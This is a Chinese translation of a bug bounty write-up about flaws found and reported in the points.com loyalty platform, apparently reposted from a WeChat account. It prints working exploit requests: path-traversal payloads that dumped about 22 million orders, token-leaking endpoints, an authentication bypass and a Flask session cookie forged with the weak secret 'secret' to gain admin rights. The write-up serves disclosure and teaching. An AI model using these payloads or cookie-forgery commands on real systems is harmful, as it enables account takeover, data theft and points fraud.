引言
在2023年3月至2023年5月期间,我们在 points.com 中发现了多个安全漏洞。该平台是众多航空公司和酒店积分奖励计划的后台服务提供商。这些漏洞可能使攻击者能够访问用户的敏感账户信息,包括姓名、账单地址、脱敏处理后的信用卡信息、电子邮件、电话号码以及交易记录。
更严重的是,攻击者还可以利用这些漏洞执行一系列操作,例如从用户账户中转移积分,甚至获取全球管理员网站的未授权访问权限。一旦获得此权限,攻击者将具备完全的操作权限,能够发放奖励积分、管理奖励计划、查看和控制用户账户,以及执行其他管理操作。
在我们报告这些漏洞后,points.com 团队反应迅速,在一小时内确认了每一份报告。他们立即将受影响的网站下线,展开全面调查,并修复了所有发现的问题。本博客中提到的所有漏洞目前均已被修复。
对Points.com进行信息收集
随着近年来机票价格的飙升,我开始越来越深入地接触所谓的“信用卡薅羊毛”圈子——通过精心规划信用卡使用与消费行为,以获取可用于兑换航班和酒店的奖励积分。从黑客的角度看,这类系统极具吸引力:它们存储的数字积分,本质上与真实货币仅一步之遥。使用这些系统越多,我就越想搞清楚它们背后到底是怎么运作的,究竟是什么在支撑整个积分奖励行业。
我联系了 Ian Carroll,他是一位在航空公司系统漏洞挖掘方面非常有经验的黑客,同时运营着一个名为 seats.aero 的航空奖励订票网站。我向他表达了我想要挖掘积分系统漏洞的兴趣。我们聊了一阵后,又拉来了 Shubham Shah,另一位长期专注于航空系统漏洞挖掘的黑客,三人组建了一个小群聊,目标是发现影响积分奖励生态系统的安全漏洞。
在开始研究后,我们发现一个名为 points.com 的公司是几乎所有主流奖励计划的服务提供商。几乎所有我坐过的航空公司,其奖励积分的存储与处理,后台系统都是由 points.com 提供的。他们似乎是该领域的行业领导者,甚至在官网上设置了 security.txt 页面。
这一切到底是怎么运作的?
在 GitHub 上搜索并阅读了几个小时的 points.com 相关文档后,我们发现了一个专为奖励计划打造的 API,运行在 “lcp.points.com” 网站上。在浏览一些公开代码库时,我们找到了一个指向 “lcp.points.com” API 文档的链接,不过这个文档已从网上删除。幸运的是,我们在 archive.org 上找到了它的存档版本。
这个存档文档详细介绍了奖励计划如何通过该 API 完成用户认证、发放积分、转移积分、消费积分等操作,还包括许多其他功能。
我们最初的想法是:“我们要如何以某个奖励计划的身份使用这个 API?”在进一步探索之后,我们发现了一个名为 “console.points.com” 的网站,它允许公众注册,用于创建奖励计划的初始账户(skeleton accounts),这些账户需要经过人工审核才能生效。
在登录该门户网站后,我们发现它其实是一个奖励计划的管理控制台,奖励计划可以在其中初始化和管理类似 OAuth 类型的应用程序。这些应用程序会被分配用于与 “LCP API”(即 “Loyalty Commerce Platform”,忠诚度商务平台)交互的 API 密钥,而该 API 的主机正是 “lcp.points.com”。
接下来我们检查了控制台中运行的 JavaScript,发现 “console.points.com” 网站似乎也被 points.com 的员工用于执行与客户账户、奖励计划及网站本身相关的管理操作。
奖励计划用于管理积分和客户账户的 API(lcp.points.com)需要两个密钥才能进行交互,这两个密钥会在你注册 console.points.com 网站时分发:
-
• macKeyIdentifier
:本质上相当于 OAuth 的client_id
-
• macKey
:本质上相当于 OAuth 的client_secret
利用我们在 “console.points.com” 上注册应用时获得的上述两个变量,我们能够使用 OAuth 2.0 的 MAC 认证方式签名 HTTP 请求,并调用忠诚度平台的 API(即 lcp.points.com)。
该平台使用这种授权方式让人有些沮丧,因为这意味着我们必须编写一个用于签名 HTTP 请求的包装器来模糊测试 API,同时也意味着奖励计划发送的 HTTP 请求中并不会包含密钥本身。例如,如果我们在某个航空公司奖励计划中发现了 SSRF 等漏洞,泄露给我们的不会是密钥,而只是该航空公司尝试发送的特定 HTTP 请求的签名。
我们用 Python 脚本手动对每个 HTTP 请求进行签名,对该 API 进行了长时间的模糊测试,但未能发现任何明显的授权漏洞。虽然我们很容易就能找到其他航空公司奖励计划的数字 ID,但遗憾的是,并没有发现任何基础性的核心 API 漏洞,比如 IDOR(不安全的直接对象引用)或权限提升。于是我们决定换个方向,更深入地了解这些公开的客户奖励计划是如何使用 points.com 基础设施的。
探索美联航(United Airlines)积分管理网站
由于美联航的奖励计划使用了 points.com,我们认为测试一个集成了 points.com 的美联航应用可能会很有趣。我们发现了以下这个 MileagePlus(美联航常旅客计划)相关域名,它用于购买、转让和管理 MileagePlus 里程积分:
https://buymiles.mileageplus.com/united/united_landing_page/#/en-US
在对该网站进行了一段时间的模糊测试后,我们很快意识到,“buymiles.mileageplus.com” 这个网站实际上是由 points.com 托管的,而不是美联航自己托管的。这让我们对该网站的授权机制产生了浓厚的兴趣,并开始测试其预期功能的工作方式。
我们继续正常使用 “buymiles.mileageplus.com” 网站,并在尝试购买里程时观察到了以下流程:
-
1. 在 “buymiles.mileageplus.com” 网站点击“购买里程(Buy miles)” -
2. 被重定向到 www.united.com,并在此使用我们的 United MileagePlus 用户名和密码通过类似 OAuth 的流程进行身份验证 -
3. 随后通过 redirect_uri
参数被重定向回 “buymiles.mileageplus.com”,该站点随后使用从 www.united.com 获取的授权令牌发送如下 HTTP 请求:
HTTP 请求如下:
POST /mileage-plus/sessions/sso HTTP/2Host: buymiles.mileageplus.comContent-Type: application/json{"mvUrl":"www_united_com_auth_token"}
HTTP 响应
HTTP/2 201 CreatedContent-type: application/json{"memberValidation": "points_com_user_auth_token"}
使用上面 HTTP 响应中返回的 "memberValidation" token,发送另一个 HTTP 请求到以下端点,其中 "memberDetails" 是返回的 "memberValidation" token:
HTTP 请求
POST /payments/authentications/ HTTP/2Host: buymiles.mileageplus.comContent-Type: application/json{"currency":"USD","memberDetails":"points_com_user_auth_token","transactionType":"buy_storefront"}
HTTP 响应
HTTP/201 CreatedContent-type: application/json{"email": "[email protected]", "firstName": "Samuel", "lastName": "Curry", "memberId": "EH123456"}
完成 OAuth 类型的流程后,我们发现“memberValidation”令牌充当了 points.com 航空公司租户的用户授权令牌,通过该令牌,我们可以反复执行 API 调用,并以用户身份进行身份验证。
如果我们能为其他用户生成这个令牌,就能在他们的账户上执行操作,比如转移航空里程和获取他们的个人信息。这成为了我们的目标之一,随着我们了解更多航空公司网站如何利用 points.com 基础设施,我们对此进行了进一步的探索。
(1) Points 收款端点的授权不当,攻击者仅凭姓氏和奖励号码即可伪装为任何用户进行身份验证
在我们继续寻找泄露“memberValidation”令牌的漏洞时,发现了 United 网站上的一个流程,标题为“为他人购买里程”。
当你作为已认证的 MileagePlus 用户进入此页面时,它会要求你添加一个收款人以便发送里程。收款人输入字段包括了名字、姓氏和 MileagePlus 号码。当我们发送添加收款人的 HTTP 请求时,我们注意到响应中返回了一些非常有趣的内容:
HTTP 请求
POST /mileage-plus/mvs/recipient HTTP/2Host: buymiles.mileageplus.comContent-Type: application/json{"mvPayload":{"identifyingFactors":{"firstName":"Victim","lastName":"Victim","memberId":"EH123456"}},"lpId":"loyalty_program_uuid"}
HTTP 响应
HTTP/2 201 CreatedContent-type: application/json{"memberId": "EH123456", "links": {"self": {"href": "points_com_user_auth_token"}}, "membershipLevel": "1"}
HTTP 响应中包含了该成员的授权令牌,这是我们之前了解到的,用于检索他们的信息并代表他们转移里程的令牌!
该漏洞的工作原理如下:通过在正常的网页 UI 中输入他们的名字、姓氏和奖励号码,服务器会在 HTTP 响应中返回一个授权令牌,该令牌可用于检索他们的账单地址、电话号码、电子邮件、隐藏的信用卡信息和账单历史。我们还可以利用该令牌代表他们转移里程。
要使用泄露的令牌,我们只需将其插入网站上的任何 API 调用中,并执行诸如转移里程或简单地检索会员个人身份信息(PII)之类的操作。我们仅凭知道他们的姓氏和奖励号码就能够完全认证进入受害者账户!
将问题升级到影响其他奖励计划
此时,在发现仅凭知道姓氏和奖励号码就可以访问客户账户后,我们开始好奇是否在“buymiles.mileageplus.com”网站上还有其他存在类似权限问题的端点,而这些端点不需要我们了解客户的任何先决信息(此时我们觉得我们的漏洞非常简单)。
我们注意到,在生成会员授权令牌的原始易受攻击的 HTTP 请求中,有一个名为 "lpId" 的参数。根据 LCP API 文档, 这个参数指的是忠诚计划的 UUID(例如,Delta、United、Southwest 等)。看起来 United 网站上的 API 也在访问其他像 Delta 或 Emirates 这样的程序所使用的相同 API。
我们能够验证,通过交换忠诚计划 UUID 和用户奖励号码为另一个程序中的值,我们能够利用这个漏洞访问其他奖励计划的客户账户。如果我们将忠诚计划 UUID 和奖励号码交换为 Delta 客户的值,它会返回该不同奖励计划中的受害者的授权令牌。
有趣的是,这种行为还表明,这实际上是在访问一个通用的 points.com API,该 API 似乎连接了所有忠诚计划,而不仅仅是 United Airlines。
我们通过观察在忠诚计划 ID 参数末尾附加问号和井号后,服务器发送的 HTTP 请求出现异常行为,从而发现了这一点:
HTTP 请求
POST /mileage-plus-transfer/mvs/recipient HTTP/1.1Host: buymiles.mileageplus.com{"mvPayload":{},"lpId":"0ccbb8ee-5129-44dd-9f66-a79eb853da73**#**"} <-- pound symbol appended
HTTP 响应
HTTP/1.1 400 Bad RequestContent-type: application/json{"error":"Cannot process type 'text/html', expected 'application/json'"}
我们立刻猜测,“lpId” 参数被发送到 “lcp.points.com” API,并且在我们附加问号后,它会破坏 HTTP 响应,使得后端无法解析来自第二个服务器的 HTTP 响应。我们通过猜测忠诚计划 UUID 前后的目录,并查看 API 是否仍然正常工作来确认这一点。
经过一段时间的测试,我们验证了以下每个有效负载都允许我们正常添加收件人,从而验证了 HTTP 请求确实被代理到第二个 HTTP 服务器。我们通过阅读 LCP API 文档并观察到许多带有忠诚计划 UUID 的 HTTP 请求具有前置目录 "lps" 和附加目录 "mvs" 来进行此操作。通过发送这些附加目录并接收到正常的 200 OK HTTP 响应,意味着我们能够在 API 上进行遍历,并有可能访问其他 API 端点。
"lpId":"/0ccbb8ee-5129-44dd-9f66-a79eb853da73""lpId":"/../lps/0ccbb8ee-5129-44dd-9f66-a79eb853da73""lpId":"0ccbb8ee-5129-44dd-9f66-a79eb853da73/mvs/?""lpId":"/../lps/0ccbb8ee-5129-44dd-9f66-a79eb853da73/mvs/?"
根据我们对 LCP API OAuth 2.0 MAC 身份验证方案的理解,如果这些次级上下文的 HTTP 请求被定向到 "lcp.points.com" 主机,它们需要使用特定客户的 "macKey" 和 "macID" 参数进行签名。
然而,令人非常奇怪和有趣的是,这个 HTTP 请求能够为任何奖励计划生成授权令牌。当我们尝试使用我们提供的 "lcp.points.com" 凭据进行操作时,我们收到了授权错误,表示我们没有权限访问特定的路由。
看到这个 HTTP 请求可以为任何奖励计划生成授权令牌后,我们首先想到的是,points.com 的 United 网站(由 points.com 构建和托管)正在使用一个“神令牌”作为授权令牌,该令牌在发送 HTTP 请求生成 points.com 会员授权令牌时拥有对所有奖励计划的访问权限。
如果是这种情况,并且我们可以遍历 API,那么我们将能够重写整个 POST 请求,以访问任何具有全局权限的 "lcp.points.com" 端点。我们新的兴趣变成了寻找一个可以遍历的端点,以测试 HTTP 请求是否确实被“神令牌”签名。
(2) 特权 API 上的目录遍历导致访问 2200 万客户订单记录,涉及 Points.com 奖励计划
为了验证我们关于次级上下文 API 可能使用具有全局权限的授权令牌的理论,我们寻求找到其他可以遍历的端点,并覆盖整个 API 调用,允许我们控制整个 HTTP 请求。在从 LCP API 文档中获取端点列表后,我们通过入侵者配置将它们测试,以检查带有附加 "?" 的特定端点,以切断剩余路径。
例如,为了尝试找到 "/api/example" 的正确目录,我们会发送以下 "lpId" 负载:
"lpId":"/api/example?""lpId":"../api/example?""lpId":"../../api/example?"
最终,我们收到了以下负载的第一个 200 OK HTTP 响应:
HTTP 请求
POST /mileage-plus-transfer/mvs/recipient HTTP/1.1Host: buymiles.mileageplus.com{"mvPayload":{},"lpId":"../../v1/search/orders/?"}
HTTP 响应
HTTP/2 400 Bad RequestContent-type: application/json{"error":"Missing query parameter"}
在看到缺失的查询参数后,我们尝试通过“lpId”参数来模糊化 GET 参数,方法是将其附加(例如 /v1/search/orders?query=x),但未能找到任何东西。这让我们困惑了一会儿,后来我们意识到“/v1/search/orders”端点是一个 POST 请求,需要一个 JSON 请求体。
我们看到了我们发送的空参数“mvPayload”,并尝试在 JSON 请求体中进行模糊测试。我们的侵入脚本运行后,我们看到一个成功的请求,响应的大小非常大!似乎参数“q”是服务器正在查找的参数。
通过发送以下 POST 请求,我们能够访问所有 points.com 忠诚度计划的交易数据,包括达美航空、阿联酋航空、新加坡航空、联合航空、阿提哈德航空、加拿大航空、汉莎航空、西南航空、阿拉斯加航空、夏威夷航空以及许多酒店奖励积分提供商,如希尔顿、万豪和洲际酒店:
HTTP 请求
POST /mileage-plus-transfer/mvs/recipient HTTP/1.1Host: buymiles.mileageplus.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0Content-Type: application/jsonContent-Length: 59Connection: close{"mvPayload":{"q":"*"},"lpId":"../../v1/search/orders/?"}
HTTP 响应
HTTP/1.1 200 OKDate: Fri, 10 Mar 2023 00:02:04 GMTContent-Type: application/json{ "orders": [ { "payment": { "billingInfo": { "cardName": "Visa", "cardNumber": "XXXXXXXXXXXXXXXX", "cardType": "VISA", "city": "REDACTED", "country": "US", "expirationMonth": 7, "expirationYear": 2023, "firstName": "REDACTED", "lastName": "REDACTED", "phone": "REDACTED", "state": "TX", "street1": "REDACTED", "zip": "REDACTED" }, "costs": { "baseCost": 275, "fees": [], "taxes": [], "totalCost": 275 }, "currency": "USD", "type": "creditCard" }, "user": { "balance": 94316, "email": "REDACTED", "firstName": "REDACTED", "lastName": "REDACTED", "memberId": "REDACTED", "memberValidation": "https://lcp.points.com/v1/lps/LOYALTY_PROGRAM_ID/mvs/MEMBER_TOKEN", "membershipLevel": "1" }, "flightBookingDetails": { "destinationCode": "MDW", "destinationName": "Chicago (Midway), IL - MDW", "originCode": "SDF", "originName": "Louisville, KY - SDF", "roundTrip": true } }],"totalCount": "22745869"}
一旦我们看到 HTTP 响应,我们立即报告了这个问题。从各种航空公司和酒店奖励计划中,我们能够查询到超过 2200 万条记录。看起来,“macKey”和“macID”用于签名 HTTP 请求,类似于一种“神钥”,它能访问所有的奖励计划数据。
这个漏洞影响了几乎所有 points.com 的客户。
Points.com 发现了我们
在我们完成报告或查看是否有其他端点可访问(例如,向客户奖励账户添加积分)之前,points.com 团队就已经检测到我们的测试,并且完全关闭了联合航空的生产版 points.com 网站。真可惜!如果我们是恶意行为者,通过该漏洞试图枚举任何大量记录(查询每次返回 100 条记录),我们可能会被抓到。points.com 团队的检测与响应实在令人印象深刻。
在对 points.com 基础设施进行几天测试后,我们越来越感兴趣,寻找一种能够让我们复制或生成无限里程的漏洞。虽然“buymiles.mileageplus.com”网站已经停机,但我们开始探索 points.com 其他部分的基础设施。
(3) 泄露的维珍奖励计划凭证允许攻击者代表维珍签名 API 请求、添加/移除奖励积分、访问客户账户
在我们对 points.com 资产进行测试的过程中,我们发现了一个由维珍奖励客户使用的网站,用于在合作伙伴网站上购物时赚取积分,该网站为“shopsaway.virginatlantic.com”。
这个网站引起了我们的兴趣,因为它是由 points.com 托管的,可能利用了 points.com 或维珍的凭证来访问与他们的奖励计划相关的信息。
我们对该资产进行了探索工具扫描,发现了多个 PHP 端点,其中包括一个“login1.php”端点,该端点返回了以下信息:
在“login1.php”端点的 HTTP 响应中,包含了一个看似是测试奖励会员的个人资料信息,并且还有各种密钥。
这些密钥包括了客户的授权令牌,但更有趣的是,里面还泄露了“macID”和“macKey”值,我们推测这些是维珍在 points.com 生产租户账户中使用的密钥!
根据我们对“lcp.points.com”API的理解,我们可以利用这些密钥代表航空公司访问API。我们开始寻找验证这一点的方法。经过一段时间在互联网上搜索,我们发现了以下代码,它可以用来使用泄露的凭证签署 HTTP 请求并访问“lcp.points.com”API:
if __name__ == '__main__': if '-u' not in sys.argv: exit("Usage: %s -u <macKeyIdentifier>:<macKey> [curl options...] <url>" % os.path.basename(__file__))
使用来自上述GitHub仓库的代码,旨在帮助签署发送到“lcp.points.com”的HTTP请求,我们可以使用以下语法向“lcp.points.com”API发送维珍的签名HTTP请求:
python lcp_curl.py -u MAC_ID:MAC_SECRET "https://lcp.points.com/v1/search/orders/?limit=1000"
在运行上述脚本以代表维珍计划签署HTTP请求并发送到“/v1/search/orders”端点后,我们收到了以下数据:
{ "orders": [ { "payment": { "billingInfo": { "cardName": "Visa", "cardNumber": "XXXXXXXXXXXXXXXX", "cardType": "VISA", "city": "REDACTED", "country": "US", "expirationMonth": 4, "expirationYear": 2023, "firstName": "REDACTED", "lastName": "REDACTED", "phone": "REDACTED", "state": "CA", "street1": "REDACTED", "zip": "REDACTED" } ... ], "totalCount": "2032431"}
成功了!
这验证了泄露的凭证是有效的,并且可以用来访问维珍奖励计划。攻击者可以使用这些凭证访问任何“lcp.points.com”端点,包括管理员端点,如为客户添加/移除奖励积分、访问客户帐户以及修改与维珍奖励计划相关的租户信息。
我们报告了该问题,相关端点在一小时内被移除。
(4) “widgets.unitedmileageplus.com”上的授权绕过允许攻击者仅通过姓氏和奖励号码进行身份验证,可能访问United MileagePlus管理面板
在United的漏洞赏金计划中,有一些域名明确列为不在范围内,包括“mileageplus.com”。我们猜测它们被排除在范围之外是因为许多“mileageplus.com”子域实际上是由points.com提供支持的。
该站点的一个子域是“widgets.unitedmileageplus.com”,它充当United MileagePlus会员的SSO服务,让会员能够通过该服务登录到“buymiles.mileageplus.com”和“mpxadmin.unitedmileageplus.com”等应用程序。
在使用gau枚举子域名后,我们发现有多个登录页面可以让你登录到相关的MileagePlus应用程序。
这些登录页面每个都要求不同的参数:有些会要求你提供United MileagePlus号码和密码,而其他页面则要求你提供用户名、密码以及安全问题的答案。有一个非常奇怪的表单,它只要求你提供MileagePlus号码和姓氏。
我们发现,从不同授权方法返回的令牌在格式上是相同的。经过测试,我们发现可以将通过仅使用姓氏和MileagePlus号码进行身份验证时返回的HTTP响应中的令牌复制到通过更安全的用户名、密码和安全问题的身份验证端点中,并且你将能够登录到任何应用程序!
这意味着存在一个授权绕过漏洞,我们可以跳过使用会员凭据登录账户的步骤,而只需提供他们的姓名和MileagePlus号码。
从影响的角度来看,多个应用程序可以通过此绕过访问,包括“buymiles.mileageplus.com”,该应用程序披露了个人身份信息,并允许我们将里程转移给自己。我们继续利用这个漏洞将我们自己账户中的里程转移到另一个账户,证明了使用这个授权绕过漏洞确实可以转移其他用户的里程。
由于我们无法确认这一点,探索仍在继续!
寻找更严重的漏洞
回到对 Points.com 全球管理控制台的猎取
在意识到我们在航空公司网站上无法进一步造成影响后,我们将注意力转回到最初发现的网站,该网站是由 points.com 员工和奖励计划所有者用于行政管理他们的客户和奖励计划的。
从我们在 "console.points.com" 网站上的 JavaScript 代码中看到的内容来看,有很多端点只有 points.com 员工可以访问。我们在这些端点上进行了几个小时的测试,尝试并未能找到任何授权绕过或权限检查漏洞。在一段时间内的沮丧尝试后,我们放松了一下,最终意识到一个显而易见的事情,那就是我们一直忽视的东西……
(5) 通过弱 Flask 会话密钥完全访问 Points.com 核心管理控制台和忠诚度管理网站
在我们终于停止测试 API 并寻找权限漏洞后,我们意识到我们完全忘记查看会话 cookie 了!
根据 cookie 的格式,我们能看出它是某种加密的 blob,因为它的格式类似于 JWT。经过一段时间的试探,我们最终意识到核心应用会话令牌是一个签名的 Flask 会话 cookie。
session=.eJwNyTEOgzAMBdC7eO6QGNskXCZKrG8hgVqJdEPcvX3ru6n5vKJ9PwfetFHCiCqwtYopo4NLiPOo4jYMuhizpJLV8oicilQF_qOeF_a104taXJg7bdHPiecHfX8ccg.ZFCriA.99lOhq3pO8yBWM7XjBshaKjqPKU
我们将该 cookie 传入 Ian Carroll 的 "cookiemonster" 工具。该工具会通过使用已知的密钥字典自动猜测用于签名 cookie 的秘密。在几秒钟后,我们得到了一个响应!
zlz@htp ~> cookiemonster -cookie ".eJwNyTEOgzAMBdC7eO6QGNskXCZKrG8hgVqJdEPcvX3ru6n5vKJ9PwfetFHCiCqwtYopo4NLiPOo4jYMuhizpJLV8oicilQF_qOeF_a104taXJg7bdHPiecHfX8ccg.ZFCriA.99lOhq3pO8yBWM7XjBshaKjqPKU"🍪 CookieMonster 1.4.0ℹ️ CookieMonster loaded the default wordlist; it has 38919 entries.✅ Success! I discovered the key for this cookie with the flask decoder; it is "secret".
用于管理所有奖励资料、忠诚度计划和客户订单的 points.com 员工使用的 Flask 会话密钥是单词 "secret"。理论上,我们现在可以使用任何我们想要的数据签名我们的 cookie,只要服务器没有在 cookie 中包含一些不可预测或签名的数据。我们登录到该网站,并将我们的会话 cookie 复制到 flask-unsign 工具中,以调查 cookie 的内容:
{"_csrf_token": "redacted", "_fresh": true, "_id": "redacted", "_user_id": "redacted", "sid": "redacted", "user": {"authenticationType": "account", "email": "[email protected]", "feature_flags": ["temp_resending_emails"], "groups": [], "id": "redacted", "mac_key": "redacted", "mac_key_identifier": "redacted", "roles": []}}
根据我们在解密的 cookie 内容中看到的,没有任何不可预测的内容会阻止我们篡改 cookie。 "roles" 和 "groups" 数组似乎是最有用的,因为我们现在可以使用任何我们想要的数据重新签名它,因此我们回过头来查找与这些字段相关的 JavaScript。
根据我们在 JavaScript 中找到的信息,最具特权的角色是 "configeditor" 角色。我们将其与 "admin" 组一起添加到我们的 cookie 中,并使用以下命令重新签名:
flask-unsign -s -S "secret" -c "{'_csrf_token': 'bb2cf0e85b20f13dcfebecb436c91b160f392fa2555961c23b3fcc67775edc50', '_fresh': True, '_id': 'a76abcdda16ed36f131df6e5f30c7e9cf142131ebcd4c0706b4c05ec720006daeaef804fcd925743954f10c8a5b3e10018216585157c88e6aedaa8fb42702dd3', '_user_id': '8547961e-b122-4b42-a124-4169cfc86a94', 'sid': 'bd2e7256bf1011eda2410242ac11000a', 'user': {'authenticationType': 'account', 'email': '[email protected]', 'feature_flags': ['temp_resending_emails', 'v2_manual_bonus_page', 'v2_request_for_reimbursements'], 'groups': ['admin'], 'id': '8547961e-b122-4b42-a124-4169cfc86a94', 'mac_key': 'blLWTn1VyhIWNPoAVC2X9-Iqsqei7pEPkgXjxnhRepg=', 'mac_key_identifier': '8d261003b476497e8be4c2c077d69b5f', 'roles': [{'role': 'https://lcp.points.com/v1/roles/configeditor'}]}}"
该命令使用 "secret" 密钥重新签名了我们的 cookie,并给了我们以下的 cookie:
session=.eJy9U01r3DAU_C8-x1lJ1oe9UOgSegiUsrQhCZRg9PG0665tOZKcdgn5733eHAKFQLeHniw_zcwbzZOei9am6NscDjAW68IYZj2BWhhGPK2c9WDAGl5J21BDJfFVw7xmQohGUssqU3lrpVJKgLOCFBdF6yOkfbHOcQb86xzKaiW1sc5pKsFVEpWp8xKEr4hV0FhPOcMaIIZboog0-BFgFSOESKdBg68J99Y1TCheNYJ7SmythamAEkJrRqWoBRXK1jVIDU7r2hvOFGHOVYutOUF8dVMLrtA9lIYyVnJElZoyXnIq0YqtpW44MtIJbBwDxYQ02JBS1GWcEsaZthQbE43ARblYPxd6znsYc2d17sJ4c5xgObq1YR4zwmDQXY-VpIefdo7x-HEK3ZjTpQ0DbnvQeY7Q-l7vUrH-XmQYphazhNF146490RMCn1g76HHWfWvCOKd20jt4LUd4nCHl1oeI624wc0wwoKVUPFwUuxjm6aR8FcYUetikba8zgoeNG7pxwZyTz6Bte4DjklH_-e5mpLfH_fXdl23Y3F6x-6a8fkyP0Knp0_awu__xa9x_hWn34Y2Iw1jS8t2SXlE7JjHQynAleaOgNsAtw8ugnGyM8MiL6Hnx_3xaIWef85TWq1Vvp8u3LFdPdHWCriJoV4axPxYvF39NeiecMxS2p9pmmr7N0xRiPoerp6lM59P6f2LZOeUwQPx_HQcdD5DxOuOTeeosJBtG3-0gpnNUTAgH1IiwtF-G_Af_vRE-vLz8BnvIpoE.ZFDJgQ.Lld9KeetbZJ_KBeLI2KOHB7EnaA
在插入这个 cookie 后,我们尝试重新访问 "console.points.com" 网站,看到了一堆额外的功能。我们成功进入并获得了完全的管理员权限!
其中一个立即引起我们注意的页面是 "Manual Bonus"。点击后,我们发现它能够手动为任何程序向任何奖励账户添加积分。大奖来了!
我们还可以在点击 "Loyalty Platform" 侧边栏按钮后访问 "admin-loyaltywallet.points.com" 网站。该网站具有更多功能,允许我们通过用户的姓名、会员 ID 或电子邮件地址查询用户,还可以做更多操作:
其他标签包括配置和实验管理:
另一个有趣的影响是通过“促销”标签修改奖励兑换金额的能力。我们可以更新奖励项目,例如,用1 Delta里程兑换1亿United里程,或者每花费1美元就获得100万里程。用户随后将能够兑换他们的里程,从而获得几乎无限的里程。
对于用户管理,您可以查看、更新或删除用户帐户。可以查看帐户的所有历史记录、连接和会员信息。
"console.points.com" 网站上的另两个有趣页面是模块和路由端点。攻击者可以按预期使用这些端点,将恶意 JavaScript 添加到管理面板的每个页面上。如果未被检测到,这将成为一个超级有趣的后门,攻击者的 JavaScript 将在管理网站的每个页面上加载。
由于这些都是生产环境中的奖励客户,攻击者可以通过修改平台合作伙伴端点中每个航空公司使用的密钥对,暂时关闭所有奖励旅行。一旦 MAC ID 和 MAC 密钥被覆盖,就会破坏航空公司与 points.com 通信所使用的基础设施,这意味着客户将无法使用航空公司积分预订航班。
需要注意的一点是,这个管理面板是为 points.com 员工设计的,用于在租户级别管理奖励程序。拥有这种访问权限的攻击者可以撤销实际航空公司用于提供服务的凭证,阻止其客户访问 API,从而关闭该特定航空公司的全球奖励旅行。除了访问客户账户信息之外,这种访问权限还存在许多恶意攻击者可以滥用的有趣场景。
我们报告了这个漏洞,points.com 团队几乎立即回应,尽管我们的邮件是在凌晨 3:26 AM CST 发送的(抱歉这么晚进行黑客攻击,我和 Ian 在飞机上时都很不安,才发现了这个漏洞!)。团队理解报告的严重性,并立即关闭了 "console.points.com" 网站。
我们尝试通过从源服务器 IP 进行 vhost 跳跃来绕过他们的修复,但没有成功。该网站被完全关闭,问题很快得到了修复。
结尾
在向 points.com 团队提交最后的报告后,我们的总体发现使我们能够访问全球大量奖励程序的客户信息、代表客户转移积分,并最终访问全球管理面板。我们已将所有问题报告给了 points.com 安全团队,他们迅速修复了这些问题,并与我们合作完成了这一披露。
原文始发于微信公众号(白帽子左一):漏洞赏金故事 | 挖穿全球最大航空与酒店积分平台
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论